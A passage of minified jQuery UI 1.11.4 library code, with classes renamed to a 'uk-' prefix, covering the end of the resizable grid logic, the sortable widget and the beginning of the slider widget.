e,i=t(this).resizable("instance"),s=i.options,n=i.size,a=i.originalSize,o=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,c=Math.round((n.width-a.width)/l)*l,d=Math.round((n.height-a.height)/u)*u,p=a.width+c,f=a.height+d,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,_=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),_&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=o.top-d):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=o.left-c):((0>=f-u||0>=p-l)&&(e=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=o.top-d):(f=u-e.height,i.size.height=f,i.position.top=o.top+a.height-f),p-l>0?(i.size.width=p,i.position.left=o.left-c):(p=l-e.width,i.size.width=p,i.position.left=o.left+a.width-p))}}),t.ui.resizable,t.widget("ui.sortable",t.ui.mouse,{version:"1.11.4",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return t>=e&&e+i>t},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this.element.addClass("uk-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(".uk-sortable-handle").removeClass("uk-sortable-handle"),t.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass("uk-sortable-handle")})},_destroy:function(){this.element.removeClass("uk-sortable uk-sortable-disabled").find(".uk-sortable-handle").removeClass("uk-sortable-handle"),this._mouseDestroy();for(var t=this.items.length-1;t>=0;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(e,i){var s=null,n=!1,a=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(e),t(e.target).parents().each(function(){return t.data(this,a.widgetName+"-item")===a?(s=t(this),!1):void 0}),t.data(e.target,a.widgetName+"-item")===a&&(s=t(e.target)),s?!this.options.handle||i||(t(this.options.handle,s).find("*").addBack().each(function(){this===e.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(e,i,s){var n,a,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(e),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(a=this.document.find("body"),this.storedCursor=a.css("cursor"),a.css("cursor",o.cursor),this.storedStylesheet=t("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(a)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",e,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",e,this._uiHash(this));return t.ui.ddmanager&&(t.ui.ddmanager.current=this),t.ui.ddmanager&&!o.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this.dragging=!0,this.helper.addClass("uk-sortable-helper"),this._mouseDrag(e),!0},_mouseDrag:function(e){var i,s,n,a,o=this.options,r=!1;for(this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:e.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:e.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(e.pageY-this.document.scrollTop()<o.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-o.scrollSpeed):this.window.height()-(e.pageY-this.document.scrollTop())<o.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+o.scrollSpeed)),e.pageX-this.document.scrollLeft()<o.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-o.scrollSpeed):this.window.width()-(e.pageX-this.document.scrollLeft())<o.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+o.scrollSpeed))),r!==!1&&t.ui.ddmanager&&!o.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],a=this._intersectsWithPointer(s),a&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===a?"next":"prev"]()[0]!==n&&!t.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!t.contains(this.element[0],n):!0)){if(this.direction=1===a?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(e,s),this._trigger("change",e,this._uiHash());break}return this._contactContainers(e),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),this._trigger("sort",e,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(e,i){if(e){if(t.ui.ddmanager&&!this.options.dropBehaviour&&t.ui.ddmanager.drop(this,e),this.options.revert){var s=this,n=this.placeholder.offset(),a=this.options.axis,o={};a&&"x"!==a||(o.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),a&&"y"!==a||(o.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,t(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(e)})}else this._clear(e,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("uk-sortable-helper"):this.currentItem.show();for(var e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("deactivate",null,this._uiHash(this)),this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",null,this._uiHash(this)),this.containers[e].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),t.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?t(this.domPosition.prev).after(this.currentItem):t(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},t(i).each(function(){var i=(t(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);i&&s.push((e.key||i[1]+"[]")+"="+(e.key&&e.expression?i[1]:i[2]))}),!s.length&&e.key&&s.push(e.key+"="),s.join("&")},toArray:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},i.each(function(){s.push(t(e.item||this).attr(e.attribute||"id")||"")}),s},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,a=t.left,o=a+t.width,r=t.top,h=r+t.height,l=this.offset.click.top,u=this.offset.click.left,c="x"===this.options.axis||s+l>r&&h>s+l,d="y"===this.options.axis||e+u>a&&o>e+u,p=c&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?p:e+this.helperProportions.width/2>a&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(t){var e="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),i="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width),s=e&&i,n=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return s?this.floating?a&&"right"===a||"down"===n?2:1:n&&("down"===n?2:1):!1},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!==t&&(t>0?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!==t&&(t>0?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(e){function i(){r.push(this)}var s,n,a,o,r=[],h=[],l=this._connectWith();if(l&&e)for(s=l.length-1;s>=0;s--)for(a=t(l[s],this.document[0]),n=a.length-1;n>=0;n--)o=t.data(a[n],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([t.isFunction(o.options.items)?o.options.items.call(o.element):t(o.options.items,o.element).not(".uk-sortable-helper").not(".uk-sortable-placeholder"),o]);for(h.push([t.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):t(this.options.items,this.element).not(".uk-sortable-helper").not(".uk-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return t(r)},_removeCurrentsFromItems:function(){var e=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=t.grep(this.items,function(t){for(var i=0;e.length>i;i++)if(e[i]===t.item[0])return!1;return!0})},_refreshItems:function(e){this.items=[],this.containers=[this];var i,s,n,a,o,r,h,l,u=this.items,c=[[t.isFunction(this.options.items)?this.options.items.call(this.element[0],e,{item:this.currentItem}):t(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=t(d[i],this.document[0]),s=n.length-1;s>=0;s--)a=t.data(n[s],this.widgetFullName),a&&a!==this&&!a.options.disabled&&(c.push([t.isFunction(a.options.items)?a.options.items.call(a.element[0],e,{item:this.currentItem}):t(a.options.items,a.element),a]),this.containers.push(a));for(i=c.length-1;i>=0;i--)for(o=c[i][1],r=c[i][0],s=0,l=r.length;l>s;s++)h=t(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(e){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,a;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?t(this.options.toleranceElement,s.item):s.item,e||(s.width=n.outerWidth(),s.height=n.outerHeight()),a=n.offset(),s.left=a.left,s.top=a.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)a=this.containers[i].element.offset(),this.containers[i].containerCache.left=a.left,this.containers[i].containerCache.top=a.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(e){e=e||this;var i,s=e.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=e.currentItem[0].nodeName.toLowerCase(),n=t("<"+s+">",e.document[0]).addClass(i||e.currentItem[0].className+" uk-sortable-placeholder").removeClass("uk-sortable-helper");return"tbody"===s?e._createTrPlaceholder(e.currentItem.find("tr").eq(0),t("<tr>",e.document[0]).appendTo(n)):"tr"===s?e._createTrPlaceholder(e.currentItem,n):"img"===s&&n.attr("src",e.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(t,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10)))}}),e.placeholder=t(s.placeholder.element.call(e.element,e.currentItem)),e.currentItem.after(e.placeholder),s.placeholder.update(e,e.placeholder)},_createTrPlaceholder:function(e,i){var s=this;e.children().each(function(){t("<td>&#160;</td>",s.document[0]).attr("colspan",t(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(e){var i,s,n,a,o,r,h,l,u,c,d=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!t.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(d&&t.contains(this.containers[i].element[0],d.element[0]))continue;
d=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",e,this._uiHash(this)),this.containers[i].containerCache.over=0);if(d)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,a=null,u=d.floating||this._isFloating(this.currentItem),o=u?"left":"top",r=u?"width":"height",c=u?"clientX":"clientY",s=this.items.length-1;s>=0;s--)t.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[o],l=!1,e[c]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(e[c]-h)&&(n=Math.abs(e[c]-h),a=this.items[s],this.direction=l?"up":"down"));if(!a&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;a?this._rearrange(e,a,null,!0):this._rearrange(e,null,this.containers[p].element,!0),this._trigger("change",e,this._uiHash()),this.containers[p]._trigger("change",e,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||t("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.width():this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(e=t(n.containment)[0],i=t(n.containment).offset(),s="hidden"!==t(e).css("overflow"),this.containment=[i.left+(parseInt(t(e).css("borderLeftWidth"),10)||0)+(parseInt(t(e).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(t(e).css("borderTopWidth"),10)||0)+(parseInt(t(e).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(t(e).css("borderLeftWidth"),10)||0)-(parseInt(t(e).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(t(e).css("borderTopWidth"),10)||0)-(parseInt(t(e).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:n.scrollLeft())*s}},_generatePosition:function(e){var i,s,n=this.options,a=e.pageX,o=e.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(e.pageX-this.offset.click.left<this.containment[0]&&(a=this.containment[0]+this.offset.click.left),e.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),e.pageX-this.offset.click.left>this.containment[2]&&(a=this.containment[2]+this.offset.click.left),e.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/n.grid[1])*n.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((a-this.originalPageX)/n.grid[0])*n.grid[0],a=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:a-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){function i(t,e,i){return function(s){i._trigger(t,s,e._uiHash(e))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("uk-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!e&&n.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".uk-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||n.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(n.push(function(t){this._trigger("remove",t,this._uiHash())}),n.push(function(t){return function(e){t._trigger("receive",e,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(t){return function(e){t._trigger("update",e,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)e||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(s=0;n.length>s;s++)n[s].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){t.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(e){var i=e||this;return{helper:i.helper,placeholder:i.placeholder||t([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:e?e.element:null}}}),t.widget("ui.slider",t.ui.mouse,{version:"1.11.4",widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this.element.addClass("uk-slider uk-slider-"+this.orientation+" uk-widget"+" uk-widget-content"+" uk-corner-all"),this._refresh(),this._setOption("disabled",this.options.disabled),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,i,s=this.options,n=this.element.find(".uk-slider-handle").addClass("uk-state-default uk-corner-all"),a="<span class='uk-slider-handle uk-state-default uk-corner-all' tabindex='0'></span>",o=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)o.push(a);this.handles=n.add(t(o.join("")).appendTo(this.element)),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("uk-slider-handle-index",e)})},_createRange:function(){var e=this.options,i="";e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?this.range.removeClass("uk-slider-range-min uk-slider-range-max").css({left:"",bottom:""}):(this.range=t("<div></div>").appendTo(this.element),i="uk-slider-range uk-widget-header uk-corner-all"),this.range.addClass(i+("min"===e.range||"max"===e.range?" uk-slider-range-"+e.range:""))):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this.element.removeClass("uk-slider uk-slider-horizontal uk-slider-vertical uk-widget uk-widget-content uk-corner-all"),this._mouseDestroy()},_mouseCapture:function(e){var i,s,n,a,o,r,h,l,u=this,c=this.options;return c.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var i=Math.abs(s-u.values(e));(n>i||n===i&&(e===u._lastChangedValue||u.values(e)===c.min))&&(n=i,a=t(this),o=e)}),r=this._start(e,o),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=o,a.addClass("uk-state-active").focus(),h=a.offset(),l=!t(e.target).parents().addBack().is(".uk-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:e.pageX-h.left-a.width()/2,top:e.pageY-h.top-a.height()/2-(parseInt(a.css("borderTopWidth"),10)||0)-(parseInt(a.css("borderBottomWidth"),10)||0)+(parseInt(a.css("marginTop"),10)||0)},this.handles.hasClass("uk-state-hover")||this._slide(e,o,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return this.handles.removeClass("uk-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,i,s,n,a;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),a=this._valueMin()+s*n,this._trimAlignValue(a)},_start:function(t,e){var i={handle:this.handles[e],value:this.value()};return this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._trigger("start",t,i)},_slide:function(t,e,i){var s,n,a;this.options.values&&this.options.values.length?(s=this.values(e?0:1),2===this.options.values.length&&this.options.range===!0&&(0===e&&i>s||1===e&&s>i)&&(i=s),i!==this.values(e)&&(n=this.values(),n[e]=i,a=this._trigger("slide",t,{handle:this.handles[e],value:i,values:n}),s=this.values(e?0:1),a!==!1&&this.values(e,i))):i!==this.value()&&(a=this._trigger("slide",t,{handle:this.handles[e],value:i}),a!==!1&&this.value(i))},_stop:function(t,e){var i={handle:this.handles[e],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._trigger("stop",t,i)},_change:function(t,e){if(!this._keySliding&&!this._mouseSliding){var i={handle:this.handles[e],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(e),i.values=this.values()),this._lastChangedValue=e,this._trigger("change",t,i)}},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(e,i){var s,n,a;if(arguments.length>1)return this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void 0;if(!arguments.length)return this._values();if(!t.isArray(arguments[0]))return 